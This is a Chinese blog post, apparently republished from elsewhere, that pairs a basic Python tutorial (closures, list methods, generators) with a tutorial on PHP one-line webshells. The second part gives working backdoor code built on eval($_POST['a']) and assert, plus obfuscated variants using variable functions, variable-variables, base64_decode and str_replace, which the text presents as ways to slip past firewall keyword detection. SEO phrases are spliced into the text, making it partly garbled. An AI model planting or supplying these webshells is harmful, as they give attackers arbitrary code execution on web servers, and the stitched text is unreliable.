php執行python腳本,python+php一句話木馬的利用

 2023-10-24 阅读 33 评论 0

摘要:python知識; 1、該函數的作用; 當把它當作程序入口運行時,__name__ == __main__它會執行下面的函數print(“dddd”)。當引用具體的包名時,__name__ == 具體引用的包名,下面的函數也不會執行。 if __name__ == 

python知識;

1、該函數的作用;

  • 當把它當作程序入口運行時,__name__ == __main__它會執行下面的函數print(“dddd”)。
  • 當引用具體的包名時,__name__ == 具體引用的包名,下面的函數也不會執行。
if __name__ == "__main__":print("dddd")

2、python的類和對象;

  • 類(class):簡單來說就是某一類事物,它們具有相同的屬性,例如小狗有不同的種類,不同的種類就屬于屬性(變量)。
  • 對象(object):不同種類的小狗就都是對象,這個對象就是類的實例(instance)。對象/實例只有一種作用,即屬性引用。對象內存空間里只存儲對象的屬性,而不存儲方法和靜態屬性,方法和靜態屬性存儲在類的內存空間中,這樣多個對象可以共享類中的資源,便于節省內存。
  • 實例化:類到對象的過程(實例 = 類名(參數1,參數2))。
  • 字段(field):對象可以使用屬于它的普通變量來存儲數據,這種從屬于對象或者類的變量叫做字段。它們屬于某一類的各個實例或對象,或是從屬于某一類本身。它們被分別稱作實例變量(Instance Variables)與類變量(Class Variables)。有的地方稱他們為靜態屬性和動態屬性,靜態屬性針對的是類屬性,動態屬性針對的是定義在類中的方法。
  • 方法(method):對象可以通過類的函數來實現相關功能,這個函數叫做類的方法。方法分為普通方法,類方法和靜態方法。三種方法在內存中都屬于類,區別在于調用方式不同,

3、面向對象的三大特性:繼承,多態,封裝

  • a;繼承:python中,一個新建的類可以繼承一個或多個父類。
         作用;1.減少代碼的重用;2.提高代碼的可讀性;3.規范編程模式。
  • b;多態(指的是一類事物有多種形態。但python是自帶多態效果的,且崇尚鴨子類型)。
          鴨子類型:不是通過具體的繼承關系來約束某些類必須必須要有哪些方法名,是通過一種約定俗成的概念來保證多個類中相似的功能叫相同的名字
  • c; 封裝:顧名思義就是將內容封裝到某個地方,以后再去調用被封裝在某處的內容
          封裝原則:1.將不需要對外提供的內容都隱藏起來;2.把屬性都隱藏,提供公共方法對其訪問。封裝的好處:1.提高代碼的復用性;2.提高安全性;3.降低代碼的冗余度

4、python閉包;定義函數與外部環境變量構成閉包

閉包 = 函數+環境變量(函數定義時候)
注意:環境變量一定要在定義函數的外部,而且不能是全局變量
閉包=函數+自由變量的引用。
那么什么是自由變量(free variables)?
在一個函數中,如果某個變量既不是在函數內部創建的也不屬于函數的形參,并且它也不是全局變量(global variables),那么這個變量對該函數來說就是自由變量

例如;

  • 1、閉包返回的是一個對象object,是將函數和環境變量都返回了,返回的閉包的環境變量a =3,而cell_contents便是環境變量的值。

php執行python腳本、在這里插入圖片描述

  • 2、當我們把demo2也運行起來并傳一個2時,輸出的值為12。說明閉包引用的時函數里面的環境變量a=3,而不是全局變量a=10。

在這里插入圖片描述

  • 3、返回閉包時牢記一點:返回函數不要引用任何循環變量,或者后續會發生變化的變量
     如果一定要引用循環變量怎么辦?方法是再創建一個函數,用該函數的參數綁定循環變量當前的值 無論該循環變量后續如何更改,已綁定到函數參數的值不變:

例如;按我猜想的結果應該時1,4,9可這里輸出全部卻都是9。

php和python交互?原因;返回的函數引用了變量i,但它并沒有立刻執行;等到3個函數都返回時,它們所引用的變量i已經變成了3,所以輸出結果為9.
在這里插入圖片描述

  • 4、使用閉包時,對自由變量賦值前,需要先使用nonlocal聲明該變量不是當前函數的局部變量
    沒nonlocal聲明前
    在這里插入圖片描述
    使用nonlocal聲明在這里插入圖片描述
    原因;如果對自由變量賦值,由于Python解釋器會把x當作函數fn()的局部變量,它會報錯原因是x作為局部變量并沒有初始化,直接計算x+1是不行的。但我們如果想引用inc()函數內部的x,需要在fn()函數內部加一個nonlocal x的聲明。加上這個聲明后,解釋器把fn()的x看作外層函數的局部變量,它已經被初始化了,可以正確計算x+1

5、python列表;

列表的常見方法;dir(ls)

  • append(元素)
      在列表尾部增加一個元素  ;ls.append(6)  ls=[1,2,3,4,5,6]
  • insert(索引位置,元素)
     在列表中特定位置中添加元素;s.insert(4,"cui")       ls=[1,2,3,4,cui,5,6] 		
  • clear()
      清除列表清除前;ls = [1,23,4]     ls.clear()     清除后;ls=[] 	
  • count(元素)
      統計列表中某一元素出現的個數;                     s =[1,2,3,4,2,2,1]  ls.count(2)=3  
  • index(元素)
      查找元素首次出現所在的索引(位置);ls = [1,2,3,4,5,5]   ls.index(5)=4 
  • pop([指定刪除元素下標])
    默認刪除最后一個元素;ls = [12,23,45,5] 、 ls.pop() 、 ls=[12,23,45];還可以刪除指定位置元素;ls = [12,23,45,5] 、 ls.pop(1) 、ls = [12,45,5] 
  • remove()
   移除列表中首次出現的對應元素;ls = [3,3,4,5] 、ls.remove(3) 、ls = [3,4,5]  
  • reverse()
    倒敘輸出列表;ls=[1,2,3]  ls.reverse()  ls=[3,2,1] 	
  • copy() #淺拷貝對象(堆對象的復制(值的復制))
      ls=[2,3,4]    c=ls.copy()   c=[2,3,4]    	
  • extend(可迭代對象) #合并列表
       ls1=[1,2]  ls2=[3,4]、ls1.extend(ls2) 、ls1=[1,2,3,4] 	
  • sort() #排序列表(元素類型必須統一)
 默認從小到大;ls=[1,3,-3,5,-4]  、ls.sort()  ls=[-4,-3,1,3,5]  若要從大到小;ls=[1,3,-3,5,-4]、ls.sort(reverse=True)、ls=[5,3,1,-3,-4] 若元素是字符串類型則按ASCll表排序;ls=["a","ab","zb","aa","c"]   、ls.sort() 、ls=["a","aa","ab","c","zb"]
  • 多維列表
ls=[[1,2,3,4],[12,3,445,54],[25,67,3,1,7]]
ls[0]  輸出 [1,2,3,4]    ls[2]   輸出 [25,67,3,1,7]
ls[0][2]  輸出 3       ls[1][0]  輸出 12

6、列表生成器

例子:
1、使用for循環取出i;1,2,3,4; 進行i*i;1,4,9,16;
在這里插入圖片描述
2、列出同級所有文件
在這里插入圖片描述
3、偶數加一個“-”,奇數正常輸出。
在這里插入圖片描述

7、生成器(generator)

  • 將列表[]改為()即可稱為生成器只要把一個列表生成式的[]改成(),就創建了一個generator。generator保存的是算法每次調用next(g),就計算出g的下一個元素的值,直到計算到最后一個元素,沒有更多的元素時,拋出StopIteration的錯誤一直用next調用,一定不是一個好辦法,我們需要用for來調用for可以將StopIteration處理因為生成器也是一個可迭代對象。
 **著名的斐波拉契數列**1,1,2,3,5,8,13,21,34def fib(max):n, a, b = 0, 0, 1while n < max:a, b = b, a + bn += 1print(a)return 'done'f = fib(5)print(f)
輸出結果;1,1,2,3,5。
仔細觀察,可以看出,fib函數實際上是定義了斐波拉契數列的推算
規則,可以從第一個元素開始,推算出后續任意的元素,這種邏輯
其實非常類似generator。上面的函數和generator僅一步之遙。要
把fib函數變成generator函數,只需要把print(a)改為yield a就可以了;def fib(max):a, b = 0, 1for i in range(max):a, b = b, a+byield areturn 'done'f = fib(5)print(next(f))print(next(f))print(next(f))print(next(f))print(next(f))print(next(f))
這樣的話會抱一個錯誤,我們可以通過捕獲異常解決

php編譯環境、在這里插入圖片描述

什么是一句話木馬;

  • 一句話木馬就是通過一行簡短的代碼執行我們發送的命令,一個是可以執行代碼的函數部分,一個是接收數據的部分。我們可以通過GET 、POST、COOKIE這三種方式向一個網站提交數據,一句話木馬用$_GET[’ ‘]、$_POST[’ ‘]、$_COOKIE[’ ']接收我們傳遞的數據,并把接收的數據傳遞給一句話木馬中執行命令的函數,進而執行命令。

構造一句話木馬函數;
1、eval函數

<?php eval($_POST['a']) ?>

其中eval就是執行命令的函數,**$_POST[‘a’]**就是接收的數據。eval函數把通過POST方式接收的數據當作PHP代碼來執行。這樣我們就能夠讓插入了一句話木馬的網站執行我們傳遞過去的任意PHP語句。這便是一句話木馬的強大之處。

php一句話webshell?因為木馬是接收post請求中 “a” 的數據( $_POST[‘a’]),所以我們必須以post方法發送數據并且將我們要執行的代碼賦值給“a”。如果把木馬中的post替換成get,那么我么就需要以GET方法發送“a”,
在這里插入圖片描述

在這里插入圖片描述
2、assert函數

<?php assert(@$_POST['a']); ?>

在這里插入圖片描述在這里插入圖片描述
3、eval函數與assert函數的區別;

  • a、eval是一個語言構造器而不是一個函數,不能被可變函數調用。 而PHP 支持可變函數的概念,這意味著如果一個變量名后有圓括號,PHP
    將尋找與變量的值同名的函數,并且嘗試執行它。可變函數可以用來實現包括回調函數,函數表在內的一些用途。 可變函數不能用于例如
    echo,print,unset(),isset(),empty(),include,require
    以及類似的語言結構。需要使用自己的包裝函數來將這些結構用作可變函數。

  • b、assert在php中是一個函數,assert函數中參數為表達式(或者為函數),eval函數中參數是字符。eval其實并不能算是‘函數’,而是PHP自身的語言結構,在需要用‘可變’的方式調用時,需要自己構造,類似這樣子的:

		<?phpfunction eval_123($str){eval($str);}$a='eval_123';$a('phpinfo()');?> 

目前大多數服務器都會使用一些安全設備來進行保護,這些設備會以關鍵字判斷是否為一句話木馬,我們便很難直接用一句話木馬。所以我們就衍生出了有很多種一句話木馬的變形,這樣waf便不可能全部攔截。

1、PHP變量函數;
通過使用變量函數$a,而變量儲存了函數名eval,便可以直接用變量替代函數名。

代碼如下;

<?php
$a = "eval";
$a(@$_POST['a']);
?>

2、PHP可變變量;

代碼如下;

<?php
$bb="eval";
$aa="bb";
$$aa($_POST['a']);
?>

上述語句可以理解為;$$aa=$($aa)=$bb=“eval”

3、base64_decode函數;
將eval進行base64加密后是——ZXZhbA==、
這里使用了base64_decode對ZXZhbA==解密為eval拼接到($_POST[‘a’])從而達到欺騙瀏覽器的目的。

代碼如下;

<?php
$a=base64_decode("ZXZhbA==")
$a($_POST['a']);
?>

4、str_replace函數;
函數功能:在第三個參數中,查找第一個參數,并替換成第二個參數。這里第二個參數為空字符串,就相當于刪除"cyk"。

代碼如下;

<?php
$a=str_replace("cyk", "", "evcykal");
$a(@$_POST['a']);
?>

版权声明:本站所有资料均为网友推荐收集整理而来,仅供学习和研究交流使用。

原文链接:https://808629.com/165403.html

发表评论:

本站为非赢利网站,部分文章来源或改编自互联网及其他公众平台,主要目的在于分享信息,版权归原作者所有,内容仅供读者参考,如有侵权请联系我们删除!

Copyright © 2022 86后生记录生活 Inc. 保留所有权利。

底部版权信息